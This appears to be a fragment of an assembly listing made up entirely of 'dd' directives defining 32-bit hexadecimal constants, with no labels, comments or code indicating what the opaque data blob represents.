dd 0B1F100DAh, 0A6E0D12h, 0D53989B0h, 0EDCA80CEh, 5A8CF87h
dd 4EE0005Dh, 22B323DDh, 3E48517Ah, 9C2D073Ch, 0C07F298Dh
dd 0D253144h, 0F1F93C19h, 8E6EFE80h, 832FD858h, 84C12B00h
dd 0E7B1DE7Fh, 3D87E07Ch, 782E74h, 0BA9AE9E6h, 146FD795h
dd 20DF831Fh, 2EFA7DC0h, 386C0CEh, 2519D265h, 0D9F8E492h
dd 1118E37Ch, 0D1700C85h, 9E7A54h, 9C45FFEEh, 0B34B6234h
dd 94F6B0A0h, 0F1196309h, 650C00B2h, 204964A8h, 24105706h
dd 7A00A468h, 301CA32Ah, 0AE00A076h, 97FC80BBh, 24F2F3h
dd 89FD5E2Ch, 2FFF98BDh, 615BD203h, 0EBA71D53h, 7F880029h
dd 1208B78Ah, 70DDE745h, 0AF5DFCC0h, 0D9E52Bh, 149892AEh
dd 3EB4A0Bh, 0ACDA4707h, 296045E7h, 3D1D39B7h, 16801FB9h
dd 0A238C23Bh, 74002E24h, 15677EE3h, 5D2DF2h, 0DF7187C8h
dd 6536E91Ah, 1E00447Dh, 97725F94h, 0EC711EEh, 50961342h
dd 2B9B5620h, 0E8C3F609h, 0B8A06B0Ah, 0B984D5h, 0FE089848h
dd 2A3B366Dh, 0E1B35800h, 6466707Fh, 0F0470035h, 0B9038C4Fh
dd 0C601E51Eh, 98FE3783h, 92D89554h, 68150030h, 0C2293188h
dd 4C07EE6Eh, 0FD1F6B9Dh, 8E0B6D71h, 1B5EC60h, 0F43F6F0Eh
dd 0DC0D4CB7h, 0D00058F9h, 0AD9D5D26h, 0D61AAFh, 0EDF6C589h
dd 73D372CEh, 578B0600h, 10FCDBAAh, 9A561397h, 7A8FB01Eh
dd 41945216h, 0A8F0B41Ch, 18B2D5h, 0A70CFC9Bh, 2C6CAF84h
dd 0C1088200h, 22111C3Fh, 6987008Eh, 3D1878FBh, 0DB00E5ABh
dd 0B5D29BCFh, 3227FAFh, 80A3F2E2h, 98F93ABDh, 0B412CCD0h
dd 0E8C0947Ah, 54C04EA8h, 9C2E004Dh, 3A16902Fh, 7B005DF3h
dd 55CE2D0Dh, 7F65B1Ah, 6FE739C0h, 792AF17Fh, 0D01E8069h
dd 6B0F541Fh, 5B240071h, 7A5A3C8Fh, 0EC037253h, 6F027CA8h
dd 522C8892h, 0A354011Ah, 973628BBh, 0B1EFF8FCh, 44B76B00h
dd 0D40D2A6Ch, 4BB822h, 5099AA66h, 0B1F37962h, 8F9A9D00h
dd 6353BD25h, 0A6FD00C9h, 48108B12h, 0E200B3A5h, 7C13D77Bh
dd 2A4427h, 4EFD18C6h, 6951F6F0h, 5DB82605h, 2782D252h
dd 7B84C00Ch, 0D3AB0ECCh, 0F21310h, 61663F1Dh, 0D5727D23h
dd 0EDB10D09h, 0F9C20016h
dd 27C6C2h, 722B6BF6h, 3A439169h, 1EC6148h, 0AB1CA9FCh
dd 24306A7Dh, 5AAD13E9h, 73EC27D1h, 0DAE08DB1h, 70006371h
dd 0D528C433h, 781E6h, 53E9A25h, 797FC272h, 0D49B39h, 0B0D6CEE0h
dd 0CE0AE2D8h, 0EB4073B0h, 9CE5E82Bh, 0F70C8000h, 54E41B79h
dd 2635020Dh, 6A8EDA89h, 0F54AF360h, 0F60E4D00h, 0D9811B2Dh
dd 79E3009Bh, 0C6A44640h, 2664A174h, 0B8211B1h, 3D589C8Ah
dd 0E980C19Eh, 0D96CBED4h, 38C0B1BAh, 644D520Dh, 5C33022Fh
dd 6C8BC563h, 678F2C40h, 0EEFAFE07h, 0AF101028h, 186A5106h
dd 0D1D9B3F7h, 5F8EF43h, 2E5CF500h, 0B40F44Ch, 6A6F00FAh
dd 18CB9917h, 0D91E4DA8h, 0C2448008h, 21C0F48Fh, 13F398E8h
dd 0CD1F6D8h, 4910E919h, 0F5026178h, 9A95552Ah, 9BF4A088h
dd 0BAD8B95Fh, 0B4F480h, 2B0474A1h, 14A223FDh, 9A631607h
dd 299027E5h, 0F910B3h, 5B9F1965h, 0F84F98C6h, 903C098h
dd 7B013246h, 2516B0C9h, 0EA913885h, 425812h, 46785237h
dd 29001A8Ah, 392063Ah, 0F0B5E47Fh, 0CF670E0Dh, 0F6E06EE3h
dd 51491E6Ah, 0E230DF00h, 0EF3CB789h, 1D90A2h, 63F80E9Bh
dd 111C059h, 87DC3400h, 5E3AE5A5h, 2CDF001Bh, 97E10F9h
dd 924A8C1Ch, 0C382CC00h, 0F64ED308h, 80175E61h, 0CBCEF475h
dd 0A0211200h, 0BE19EA1Eh, 7FDE1FFFh, 251380E8h, 5E4E8731h
dd 0A700F972h, 0E7CCBF7h, 50FCB1A4h, 1CF1E867h, 83EE4D2Ah
dd 79534872h, 69F00798h, 3442D4A8h, 0D7256700h, 0BA1BB9D9h
dd 7EB2E92h, 0ED200300h, 50DF7C0Dh, 727FDB1Ch, 3C956E00h
dd 0FFAC24B6h, 3F860078h, 77500984h, 40091BEh, 0C15AEC2Fh
dd 195B1Bh, 0E5FC8683h, 2C5E29B6h, 0D20FD300h, 0CAC9A9CDh
dd 0CA0000Dh, 43183DE2h, 967F7421h, 0DA40A100h, 0C101BE52h
dd 0B19E740Eh, 0BC240084h, 8D09B7Ah, 1F525C1Dh, 37209840h
dd 0EF4C4Eh, 4F353066h, 26539954h, 0D610E801h, 5862E5B7h
dd 2361DFCh, 9067E26Fh, 38439949h, 0E52061C2h, 0E62E6875h
dd 0A2BD1C5Dh, 93EE6Eh, 4CE5911h, 5100ECEDh, 70202A7Eh
dd 0E8D1389h, 0FF277FFCh, 40AC7B00h, 0A065AE9Dh, 24C01551h
dd 0E51D9F3h, 992B0EA6h, 0C0228BE5h, 0D23F5E5Dh, 3A1D5090h
dd 3D808391h, 59E32F0Ch, 0BF7100A8h, 7C34115Eh, 473FBE6Ah
dd 0B0C68FB7h, 9C7C17Ah, 36D45AFBh, 86560049h, 570B9F8Ah
dd 0DA006C69h, 83D4E614h, 2EB4D045h, 3CB823h, 7E585D0Eh
dd 60EA1CE4h, 6AAE0809h, 95D40775h, 42D43040h, 4BF10033h
dd 76A3ED73h, 0FA005B91h, 0D8839CF6h, 6F0A8Fh, 1A65026Ch
dd 899A274Dh, 47CAD21Eh, 3FFC5E41h, 3330211Fh, 97F800B0h
dd 0B811B93Ah, 1EEC614Fh, 47107101h, 35C0D453h, 2CD8AE8h
dd 0D2CEABBFh, 4AE021F6h, 0C600F820h, 32D03706h, 0FAA9913Bh
dd 0F76500D6h, 48D464D1h, 8100DE24h, 34A64988h, 0C061D3BFh
dd 51DB2D08h, 0C80F581Dh, 0A0238497h, 72C5A62Fh, 0F1173D81h
dd 3F89523Fh, 1B83DBEBh, 19C8A024h, 7C0EB962h, 395B806h
dd 0F03544FAh, 7F3174h, 576C5171h, 0A399BC89h, 1A27E418h
dd 0E79C17Ah, 233C368h, 8F3B0C47h, 0B0DA3DE0h, 0CF00B56Ch
dd 78ADFFA3h, 120922h, 0F817C82Ch, 57A1AFD8h, 4C73F400h
dd 0C0C1787Bh, 590D0FE6h, 0B2D904h, 0EF8FCBB5h, 68E80C70h
dd 63997100h, 0AB2C241Ah, 0B60B0E5Ch, 144FE11Dh, 0DFD3D500h
dd 840209BAh, 0A407CEEh, 3B43C1E8h, 38549980h, 0CBFE76ADh
dd 9B0F8800h, 0D9B6FC93h, 0E760E3DBh, 99EA00D1h, 1C911A6Bh
dd 5801652Eh, 0B9A232D4h, 118196C4h, 9F064A7Ah, 14ED4091h
dd 3300F656h, 6DB59427h, 7CAE23h, 0D121B7E9h, 0BF4662B2h
dd 345CF407h, 0A0C0614Ah, 0CB18Dh, 78EC0937h, 0EE648281h
dd 0FD519500h, 0D6149705h, 11E866h, 13CCFCBFh, 0FE4E30A0h
dd 0E0AB2100h, 0DEA62962h, 5825264Bh, 0CA5A00D1h, 0F93EE691h
dd 0F7004898h, 365B94CFh, 0BE0FBFh, 0F2B38FDDh, 46866851h
dd 19D52A18h, 0FA1811h, 0CFED8402h, 0BF599374h, 8BE8E200h
dd 0B43BCED3h, 6119000Ch, 2B8D4089h, 463C7D05h, 604810h
dd 0D641EB84h, 0C24DDD7h, 1EF85BEAh, 6D001740h, 894251FEh
dd 23F34Bh, 84181BB0h, 0BC61C712h, 0C093AC01h, 0C32A203Ch
dd 3CDB4CF4h, 1C8150DEh, 9FB2F72Dh, 1749D0B7h, 0F0E69EA0h
dd 0BF001F70h, 0AA270248h, 132573h, 3EAC3C75h, 0CC3A54EEh
dd 0B5F61FF6h, 340060FCh, 0F04401A4h, 2647F5Bh, 8C2B0C81h
dd 0CE09443h, 1C0055DCh, 0E1DE5A59h, 84927h, 0B937F50h
dd 953A7DC6h, 0D11DD3B0h, 2A47ECA3h, 0B7D342E4h, 64DE90E6h
dd 50F0190h, 9458865h, 0FAB07FF8h, 0E0060032h, 0A4B5EB8h
dd 0B400A7FEh, 0F74D2BAFh, 0D2CFA5h, 9EF04C68h, 78591EDBh
dd 0A1CD1800h, 0CBC3412Eh, 0FCC40005h, 10D985D7h, 3C1D71BEh
dd 0B1800442h, 0B5050E55h, 9407001Ch, 0AB5F6D98h, 47000FC4h
dd 5337EA89h, 37EF9DBh, 0CAF65407h, 0D2F07366h, 56005EE1h
dd 2AA4C11Ah, 0DDAD96h, 0A3BD57FEh, 0C5B17455h, 0EB985D0Eh
dd 4F932050h, 7909F13h, 0BBC43861h, 34D92C1h, 1DD127E0h
dd 89171100h, 96E91645h, 4217379h, 0A193BE72h, 0DEC3C06Ah
dd 9C00DAF2h, 24CBCC1Dh, 0B95694h, 8380EFE1h, 7C7AA40Bh
dd 0C2120100h, 5BEE6FDBh, 1B6A0049h, 0B782BF27h, 0BE033B20h
dd 2822AE24h, 13D7B045h, 0E5C400DEh, 0E603BC2Eh, 260C1E9Bh
dd 319A795Ah, 8AEE0717h, 907558E5h, 0E33AC8BBh, 10C79001h
dd 5247FB57h, 2CC43C31h, 0DAAD0098h, 2E17518Fh, 8501B3CDh
dd 0F12AB419h, 0E0808A30h, 8B548907h, 9F0047D1h, 0C90B95CFh
dd 1ED85014h, 409B816Eh, 0E73FA865h, 0DE002C41h, 0B6EB78E9h
dd 0BA924Eh, 77CA966Eh, 0E251C03Bh, 8041383Bh, 0A6547AEDh
dd 0E6CD551Dh, 60FB0F46h, 6465FE82h, 48F00020h, 0EF7E573Dh
dd 0B9582102h, 60173AD9h, 0F302ABh, 0A2E5121Ah, 0E82DC45h
dd 0F6B7351Eh, 0A9EDFFC3h, 0C13E883Ah, 5FCD0EC9h, 0AEC0CF69h
dd 0EEEBAD4Eh, 0BED16300h, 67EF25A0h, 6DB105C6h, 0C0115F49h
dd 0DCE56A93h, 31501260h, 4C6CE254h, 0C1022A56h, 6559F529h
dd 57034FE0h, 0FF07B21Fh, 5EF280BEh, 0FED33F95h, 0F62B3D84h
dd 0BFDB0F80h, 0DDD59F6Ah, 19FC2300h, 0A7A21F1Ah, 81AD280Ch
dd 75B00384h, 0FD642077h, 8B5D7BB8h, 0EFEB9500h, 47BFD054h
dd 8C87009Bh, 0C29ABE8h, 0EA029AA8h, 7684BB7Ah, 0CE98E085h
dd 28B9001Ch, 566A393Ch, 0A07988ECh, 65EE3000h, 27746F4Eh
dd 2BF01DFDh, 0A39F00E6h, 0DC50D31Bh, 6DA53Fh, 8AE3D930h
dd 52B2F9h, 35CAD48Dh, 9A39664Dh, 0E6ACC100h, 859C1669h
dd 5B70124Ah, 6310009Dh, 9FFB6EF6h, 7CC58A00h, 485101CCh
dd 955B00D0h, 0D5028CFEh, 2A000B17h, 41E02C37h, 427CD1h
dd 9887ED3Dh, 68DDAAE7h, 47AD600h, 1317B3B6h, 346401FBh
dd 0CF5B4D60h, 9F0CD86Eh, 0F006BC75h, 57138ED7h, 84CC1E80h
dd 2FE10CD9h, 66809C11h, 948933h, 3EAA02h, 905C7CF0h, 79082EFAh
dd 192F201h, 81A46F75h, 0AC6C7F3h, 6C624C18h, 6C076D39h
dd 0CF046FF8h, 970A0C34h, 80808D24h, 86D2310Bh, 86E928FFh
dd 4EF32550h, 50161028h, 139888Ch, 0DB67ADA1h, 3DF330B3h
dd 566D8500h, 0FF219D9Bh, 7A870050h, 47490319h, 30008B28h
dd 0FC6C3CC3h, 1D78218Eh, 0E3B032h, 3BA31A9Ah, 8F0CA0C8h
dd 3A90B675h, 0BC0F3BCEh, 9FA58101h, 0EC881666h, 20EA663h
dd 41FE2E8Dh, 7FA78BF0h, 1623770h, 0EF33FC56h, 0C081145Dh
dd 5871F664h, 19A9C600h, 73F3B6F0h, 986D0026h, 4B6FBD88h
dd 57003F20h, 633153C0h, 60A09903h, 7A88E810h, 90A09E62h
dd 0F30A2367h, 10BB8C17h, 206E5C80h, 8F540Ch, 55368DB0h
dd 28902B8Eh, 44508902h, 0D709F361h, 0A4015C42h, 0F0D71E1Fh
dd 0ACA83B6Ah, 0D8882EBh, 0DA200029h, 0F9DE339Fh, 3FFE22F1h
dd 97F86D00h, 6B68630Fh, 0FC53503Ah, 1C090252h, 2EB3B595h
dd 0FD41E480h, 0A1309658h, 0ABEAA13Ch, 272800ADh, 700A36CDh
dd 77068EC3h, 86CAE9FEh, 0F83EE79h, 0C80FEC97h, 44582900h
dd 4000D59h, 0FB51E639h, 98CC904Eh, 4F0C2AC2h, 867B1730h
dd 0D845008Eh, 421F0978h, 14B3D301h, 13E1CFE9h, 0BF0E2F5h
dd 7F81Ch, 3CCE67F2h, 97DB4ED0h, 72F35119h, 44E7911h, 48ED550Ch
dd 30000E10h, 0EF52CC53h, 19D3316h, 0D870D0A8h, 0C8A31C80h
dd 0EC00F415h, 55888F06h, 40CDE6h, 19127DE8h, 0D07AB6A6h
dd 0C41C777Bh, 4440FF58h, 1068098Fh, 1CA8F2B5h, 0FECE725h
dd 74009178h, 269E388h, 0C00A77Bh, 847A9A03h, 259323Bh
dd 1C7ED720h, 5C40F21Dh, 8C3EDACDh, 3F2E806Eh, 668D1BBBh
dd 0B1CA0082h, 7DF16327h, 1500F343h, 0CB7CA6FAh, 1F0FCC84h
dd 40C640D5h, 5B9F690Dh, 0E90026D2h, 0EFAEA309h, 0E415EA61h
dd 777F90EEh, 3FCBFE4Fh, 9E80C3A4h, 0B4BDA8D9h, 4805B0EBh
dd 38405C10h, 9900B7C5h, 73846F8Bh, 0C78900EFh, 7D99D058h
dd 610ED1E5h, 0C0B22B57h, 0AB4143E9h, 0CF2905B5h, 0E3D1917h
dd 900009BCh, 44BA016Ah, 0EC5A11Eh, 0CA84D900h, 0D4E42B4h
dd 49EEB6C9h, 19D28048h, 0C8708AF2h, 512F30F5h, 47E5B118h
dd 0B462DFE4h, 0A0740360h, 410AF5ECh, 0FC221452h, 0A0008C7Fh
dd 0DF471661h, 60F0BE31h, 4100EE5Eh, 0CC5F0FF5h, 0FBFA1E23h
dd 0BB5CEDD2h, 0D8B2707h, 0F8C322A0h, 166307ABh, 0C7F2C961h
dd 405BC599h, 420660C0h, 72070731h, 0EAF195C5h, 2AD461D0h
dd 633B0008h, 0D8C260B0h, 0E87A20CAh, 4F335A00h, 61F3A4D2h
dd 5B503A2h, 4642F93Eh, 6A97E480h, 51A53000h, 6457F135h
dd 0DE950E02h, 0D7C0E922h, 0EE70BFFFh, 5F050DF6h, 0A42D23B0h
dd 4A992D80h, 15CE00D4h, 0E822DC77h, 8C0321F2h, 0AD762483h
dd 0B72906DBh, 0DE61A7ECh, 0DDF69401h, 3FF487D2h, 131A9F8h
dd 12809230h, 0E889793Ch, 49000928h, 694F40C9h, 0F2C17194h
dd 6A3100EFh, 0FBF9DF9Bh, 7F000844h, 0C39C5BA3h, 15C77CEh
dd 9010DBA2h, 0D8D906ABh, 0F700596Bh, 6CF0FC2Bh, 0DE8284h
dd 0D5F640BDh, 704726F2h, 418E7418h, 1F1E7A68h, 800D380Ah
dd 4D254EECh, 0B27ABF5Ch, 6876100h, 837B96AAh, 60B13A81h
dd 0F0F6D185h, 0F3D10095h, 0FA441AD9h, 0DAFC1603h, 809DA676h
dd 3C35A9h, 0ED248F86h, 895AE03Fh, 0CAF7700h, 0A73AEF49h
dd 0D5873054h, 3F0A6971h, 0CAAD80h, 3B62B412h, 0A1A726C2h
dd 0FBC72F00h, 0CF2B1F6Fh, 0ECB3FB3h, 7100063Fh, 0A5862449h
dd 407DCA2h, 97481252h, 0EA3359B0h, 0ADE605DBh, 80256608h
dd 3A0C866Eh, 961F7601h, 0BD04D777h, 3C8082C8h, 62B83EB5h
dd 0C883D9B8h, 0D0BB8D42h, 1F541BC8h, 191E2E00h, 0B1FF820Dh
dd 0C1C2002Ch, 0D1833F9Eh, 21001F53h, 0DBF2D2A9h, 9C7943h
dd 0E02B42B8h, 240A6622h, 61CAD607h, 0B180F6D3h, 931043h
dd 0B7F4DE15h, 0B6F956B5h, 0EE3CFDF8h, 0C90400D7h, 0D30E5C7Dh
dd 0B0470051h, 9A300DEBh, 62488E79h, 252B1724h, 8D1C22FCh
dd 0E945C03Ch, 1AD5F341h, 0D89D3403h, 0D0814FB8h, 0F4C8B0B2h
dd 0E2A107FEh, 0F062CFC5h, 0CABE96A9h, 5AAA7D0Ah, 5D01C59Fh
dd 974489BBh, 3DA4E6C4h, 7A80EE6Ch, 7E0275EBh, 910331BEh
dd 7FCE2AA2h, 0FF1CB064h, 86C92FDh, 314EAB63h, 0F3F1A353h
dd 258FC10Eh, 0CB9A807Ah, 860093B4h, 9D4E7FCFh, 3C2A089h
dd 846922D2h, 8C929635h, 6F4B1C40h, 80CC743Fh, 6BF30E70h
dd 0A8114578h, 2813DDE8h, 7F806950h, 5B260EA5h, 126ACF64h
dd 2E6A8394h, 2900D7ACh, 5D9B23E3h, 0E4B63D4Dh, 0BD945086h
dd 520C0065h, 0BBD711A8h, 0FD074A3Eh, 0CBC4D927h, 0C7681F00h
dd 0F18900D6h, 998582D7h, 8A09810Dh, 80AB102Fh, 13FF8331h
dd 84B489Eh, 0CB907Dh, 0D4B4C85Ah, 0C1B98CE6h, 25405800h
dd 94752387h, 0D65A0FF8h, 96200301h, 13E45B52h, 6F7C7700h
dd 53C18AF7h, 799000A4h, 8D189E06h, 92D7A0Fh, 80DFE2ADh
dd 33682952h, 0EB771EE3h, 0EED381F4h, 0F7E8C2CAh, 0FCA2B780h
dd 110083FAh, 0DCF73754h, 0F3E7848h, 0CDF592C5h, 20D43043h
dd 0FBFEF3D0h, 2CF2A224h, 46977640h, 0D3E69Ah, 0BD28A881h
dd 5A18D72Bh, 0CD034098h, 8398F976h, 0A394E8ADh, 0ABE2001Ah
dd 9E3E3C69h, 6538BB89h, 0A5F08355h, 97C5B502h, 88629031h
dd 42E0C4h, 918A18Eh, 4B1F031Ah, 0CD915200h, 0A9659F66h
dd 0CFCA0023h, 0E26DD5A0h, 0F9006B7Ah, 8D5CB688h, 7B6CC9DCh
dd 64BA3F7Dh, 6114987Fh, 0B6D19872h, 3ADFF4B9h, 1FBC9C00h
dd 79C0A287h, 89F40EA1h, 7A449437h, 615C80A0h, 0DE001046h
dd 609E6DB2h, 4AA901h, 5A731735h, 0A40FC69Ah, 0DEC06800h
dd 0ED6FBEBBh, 61030002h, 0B50118Ah, 243C5FA6h, 746C80E4h
dd 0C5BD31D4h, 0C04B0089h, 5D6980A1h, 83073C46h, 1052B9E5h
dd 0F81B07F0h, 0E2203A0Dh, 45F56107h, 0E7E03E87h, 0D4242B3Ah
dd 0DCD15300h, 0B91320F0h, 0B1AC66A0h, 98902038h, 3D07A6F0h
dd 55A2995Bh, 73A1BF40h, 102E5039h, 1C4B51B8h, 1D84E0ECh
dd 820FDh, 0A55D68E4h, 0B52621CBh, 7500D0F9h, 4147C6FAh
dd 80E2008Eh, 401BC051h, 0E703E88Ah, 0E5DF1C20h, 0E0400122h
dd 0FCC7F0FBh, 0DA609371h, 0FCAF990Fh, 3574F780h, 4DE57510h
dd 0D8301056h, 0E7DA6820h, 0A13BF130h, 0ACA1BAh, 1335256Fh
dd 0B1D8DE0Dh, 0F108F700h, 0B93A560Bh, 4AD105F0h, 0FF3AD27h
dd 30098B3h, 5E97E59h, 8E60ACB8h, 3DBE1E54h, 0CF021712h
dd 0F83300DCh, 0B54AA5F5h, 0A3852200h, 0B6210797h, 99B10186h
dd 23ABE55Eh, 0DF73C857h, 92411000h, 0AE86526Eh, 0FD8B0074h
dd 0BF87F726h, 0C9C05540h, 0DF336641h, 19D0E6DAh, 87BE224h
dd 14218F29h, 6D5A71Eh, 9980F904h, 18ACD34h, 39AAAD25h
dd 64F38FF1h, 0D000D478h, 656D10A0h, 0CB75BB35h, 0C020D809h
dd 54A068B4h, 63A2E07h, 0E8D06057h, 3BA8E25h, 0F8787573h
dd 0C9B091A3h, 26E62D94h, 0C8B468C6h, 0AF072A40h, 203F67B4h
dd 633CA8A5h, 2E0D81h, 0A0AF0521h, 38FCB136h, 0C49F4D51h
dd 0A600E27Ch, 532A6187h, 0ECC1EEABh, 0E00C5277h, 0FAE99F00h
dd 5B15A2BCh, 9B8F133h, 7F213D9Ch, 53B4FA00h, 40C73CB1h
dd 0A1C55000h, 95DD5C83h, 468CA484h, 0A0D302F0h, 31DD6D13h
dd 0EBB310FDh, 0AC100A0h, 0FABDAF6Ch, 0C901A6A3h, 153ABF1h
dd 0A1E73EF4h, 22E09405h, 46430034h, 50C3E507h, 6F00A244h
dd 0A99FCD20h, 7DB641h, 60709502h, 8A79FB5Eh, 4A1F801Fh
dd 0E2EF5640h, 5F87BCh, 32066173h, 3365BEC3h, 3ECE48h
dd 457BED47h, 33A69A1h, 0BEA294BAh, 0FAA0E9C3h, 441EE864h
dd 928023DEh, 0E2B6A549h, 39500057h, 0D4178508h, 690736F3h
dd 74DD46DEh, 68E5A720h, 0D980027h, 7656EB1h, 1AE8BAF9h
dd 0C0DD3300h
dd 0E4B90974h, 0CF240964h, 2080B741h, 6801DC1Eh, 99ED3700h
dd 66E8AA82h, 26C8FE3Fh, 7A53D9h, 0E4A1B0FAh, 830767ECh
dd 0BBADEDBDh, 641987C0h, 8C980643h, 8A81BAFh, 20ECC930h
dd 199EFCh, 0C023B0A2h, 0B33D2F36h, 6D995F00h, 0D1436FF2h
dd 0C67D00BFh, 0EDBB806Ah, 0BA3ADA0Bh, 668D9F9Ah, 65FBA7Dh
dd 6E2D6976h, 0BBAF3708h, 7D1E2020h, 9500B76Ah, 0BC2B4153h
dd 39A1F5h, 0BF9FF170h, 0C15C2728h, 0EA3F59F4h, 6686393h
dd 4B400066h, 2C144D36h, 5930780Bh, 0B0AD59ABh, 0F7BA1851h
dd 2F5530ACh, 48487337h, 4E77DAC0h, 0ECB1C8C7h, 857D65C2h
dd 58221EF8h, 1D9720B0h, 7C02317Dh, 0B4F80D32h, 0C6A880FAh
dd 0C05DE3DFh, 1AC4560h, 54C63BEh, 0CA140FC9h, 29B380F8h
dd 0F34030h, 0D2D68479h, 0C7F23D72h, 0B3C2600h, 81CABF38h
dd 1FECEEFCh, 0A4068A83h, 39A20CE8h, 4A73A11h, 361913E1h
dd 9BE1080h, 590C6058h, 4F7BC007h, 33D73B37h, 0D11389C3h
dd 0F6705CDCh, 63AB328Dh, 0AF119C28h, 0E1F422D2h, 515D6C2Fh
dd 802284E8h, 1428504Ah, 845F446Ah, 4B2E2284h, 44791C42h
dd 62885051h, 0F0030095h, 649F2AF5h, 9FB0A577h, 94F9ED00h
dd 0AEA46079h, 0EFE53F02h, 0C58FDF80h, 2D3846E2h, 0BDCF7A00h
dd 3274F0B3h, 1FBE002Fh, 0FF24580Dh, 0AE000393h, 0C0694B76h
dd 7E44D7B4h, 5B9A077Bh, 0C06DFD36h, 4EAA329Fh, 0A3BCF800h
dd 0EDFB29D2h, 0D0F1003Ah, 61866F56h, 0F500CBFAh, 0FE260AA4h
dd 1C9CB15Fh, 439A832Dh, 3A0552F8h, 290059D3h, 48B84DC3h
dd 5745CA9h, 0B221A2DEh, 0D8D843F0h, 9A08204h, 6A002C71h
dd 17AEFE16h, 2453F06h, 0A68EA453h, 23E378C0h, 1459500Eh
dd 0D846A00Dh, 0C1BAE9h, 0EC322E98h, 35C0A7CCh, 0A4696B0Eh
dd 2646E4E8h, 495D2490h, 9CAC38EAh, 4D184200h, 0CBD8CD7Eh
dd 7548D600h, 0C5A58DDFh, 0EE391E33h, 0E69DBBh, 0F12A8654h
dd 2E280BEFh, 0B21C8CDBh, 74402B09h, 0F2CF969Ah, 16E7004Fh
dd 4738CB44h, 0D800E0D1h, 0C96B26F0h, 37E2E4h, 9080ACAEh
dd 0D465D64Eh, 0F706D5B0h, 66DA1561h, 56EF211h, 0A0786D5Eh
dd 228400A8h, 48664AFAh, 3549FF0Fh, 17D200B6h, 1056CBDh
dd 60CA75F8h, 0E02D9D21h, 0BE0E44AEh, 0A0CC14FAh, 15B4E0FCh
dd 3306076Dh, 90F5A656h, 85F4EF54h, 0D4F11C00h, 0C4AC0F92h
dd 97D60E1Bh, 0A720B859h, 41C1B463h, 736EB012h, 4DBAA800h
dd 982EB7DBh, 0AE1200E5h, 26BFD35Dh, 423CE3F1h, 8AA601A7h
dd 183DC7DEh, 5B9EDCCh, 3375709Dh, 0C8658008h, 3728AA8Bh
dd 0C038CB76h, 4B930034h, 4C4A1EA6h, 90BD7AC1h, 6540008Ah
dd 172DAF76h, 24049F35h, 0F54C81C3h, 8705E482h, 1680E0CDh
dd 966BEDh, 76938825h, 0CB6572AAh, 58E3FF24h, 4B021D26h
dd 40856DF0h, 88DC11Ch, 9AAB0C95h, 0AF1FCF09h, 0E323E018h
dd 0CC71ACCh, 37C56844h, 0B6002F72h, 0EB7D0451h, 50F1960Dh
dd 3E4AB088h, 7B9C0B69h, 0FC17805Ah, 591FFF8Dh, 0C80027E4h
dd 644E1667h, 5BB5AFBh, 1E4677C6h, 0FE7DC03Fh, 6D3A1287h
dd 0BD548015h, 0C04D17A5h, 5D380FF2h, 3C00240Dh, 0C232BF81h
dd 0C499A03h, 9AF72D29h, 7EEE8009h, 39C4ECh, 28370BC6h
dd 2C607DAFh, 5FF92003h, 88D6FDEDh, 409FA5h, 1EBC868Ah
dd 1447DC2Ah, 0BC1D4B24h, 0F20F1C00h, 7B9D28h, 0FFF8AE66h
dd 6CA520FAh, 1C534B0Bh, 8DE680FCh, 1FE75C74h, 80D1B9BFh
dd 0F65A3147h, 0DF3BCFB5h, 864B800Ah, 41E245F9h, 609A00C9h
dd 0F820A7CDh, 0AA0E27F5h, 0C0D47FABh, 0DD3E4551h, 0BC9402D9h
dd 4AE17309h, 7000446Dh, 54EF24C8h, 0EDAE0131h, 2BCDF042h
dd 3381DC3Ch, 7D0CFC04h, 948076B8h, 0DB720Ah, 66D7A736h
dd 0F182248Ah, 0ECBA7C00h, 7F93D1E7h, 25C10041h, 28E87186h
dd 0AF1C16F8h, 0E940C4B5h, 0FEA9F729h, 0AC500068h, 13956A2Fh
dd 59009BD7h, 73FF99B5h, 1F1DBE4Ah, 0C738C404h, 0C00D2E96h
dd 5AC27E01h, 197AA403h, 0F0CBA508h, 800F8Bh, 35040C75h
dd 153368C6h, 0EFBB5D1Ch, 0AEEE8847h, 4B700019h, 37590B8h
dd 0D0C6B789h, 479033D5h, 5200AFE5h, 0F9A20F71h, 133FB464h
dd 2CC405h, 30D01D60h, 0D7004FD9h, 79E96CAh, 0E672FA98h
dd 37F00011h, 94E658E5h, 0DA393391h, 2E4D8730h, 8990AFBCh
dd 71D9DCh, 8FF1E811h, 333FE7Bh, 0ED60800h, 10C66FD5h
dd 23FD0070h, 0AC8DC2B2h, 740087E5h, 0CE4FF060h, 0CB7616Bh
dd 0D51B6C43h, 22016572h, 8AA34D8Dh, 7DC42421h, 0E486136Eh
dd 68960181h, 601DA046h, 7094F96Dh, 0CC010D13h, 805FA119h
dd 0E23AC20h, 11B2486Eh, 0E364C001h, 17188074h, 30737EEh
dd 54DE0296h, 0C32F76BFh, 5E01AF40h, 73CCD84Ch, 0F98F4900h
dd 0C90A0B14h, 0A5F40065h, 20E70996h, 660071DFh, 0F1228E83h
dd 1D95C39Bh, 93790AAh, 480899Ah, 3C46D1FEh, 80CC2ACBh
dd 245EE1FEh, 0D96500A9h, 51E02CA5h, 3300A10Ch, 564C93E9h
dd 0B8F31927h, 7A83037Eh, 0FD083587h, 0C92CE1C8h, 74373C26h
dd 0B75B4F05h, 1C17BC88h, 0C194BA8Fh, 0E71037C4h, 0FB01E471h
dd 84E49100h, 33DF862Ah, 138E072h, 0A55CA405h, 0CC07DBF4h
dd 0AA000B61h, 3633DC39h, 0A6E4FFh, 34F79AA7h, 4A43EF4Eh
dd 41C3107h, 7E34060Fh, 0D7EABB80h, 0B8CD003Ch, 0A9ACEB23h
dd 70000363h, 0E85AF29Fh, 399145BDh, 484CC92Eh, 71EBB300h
dd 377C2B27h, 8D35F100h, 6930BDA0h, 0AE79C4h, 2C0FD3FBh
dd 0C52E97A8h, 0F2A97000h, 126CE6EFh, 5ED60091h, 0BA413D4Fh
dd 0D8FBAA5Dh, 0B9005988h, 76FB5DAh, 0ED67E086h, 0EBBDFCh
dd 0C1B17863h, 0C8FDD74h, 68005498h, 0E91DB52Ch, 910A6Eh
dd 559E5C54h, 0D60FD7CEh, 80519B3Eh, 15071640h, 45BBA2h
dd 0DE63F996h, 5BE172FDh, 4DD76400h, 716C29D0h, 343E40CFh
dd 635CC4E4h, 0EB9E0056h, 96B3171Dh, 0D4250099h, 60E20681h
dd 52002F95h, 0CEE324B2h, 0D98D0Ch, 0F1C43D14h, 0B9AACCC3h
dd 0DC0053B8h, 171A48ECh, 1ED037h, 0C3E4E24Ch, 0FF10D6CEh
dd 6498651Dh, 0FD134703h, 0F882EEDh, 0F0D90030h, 1150DBE7h
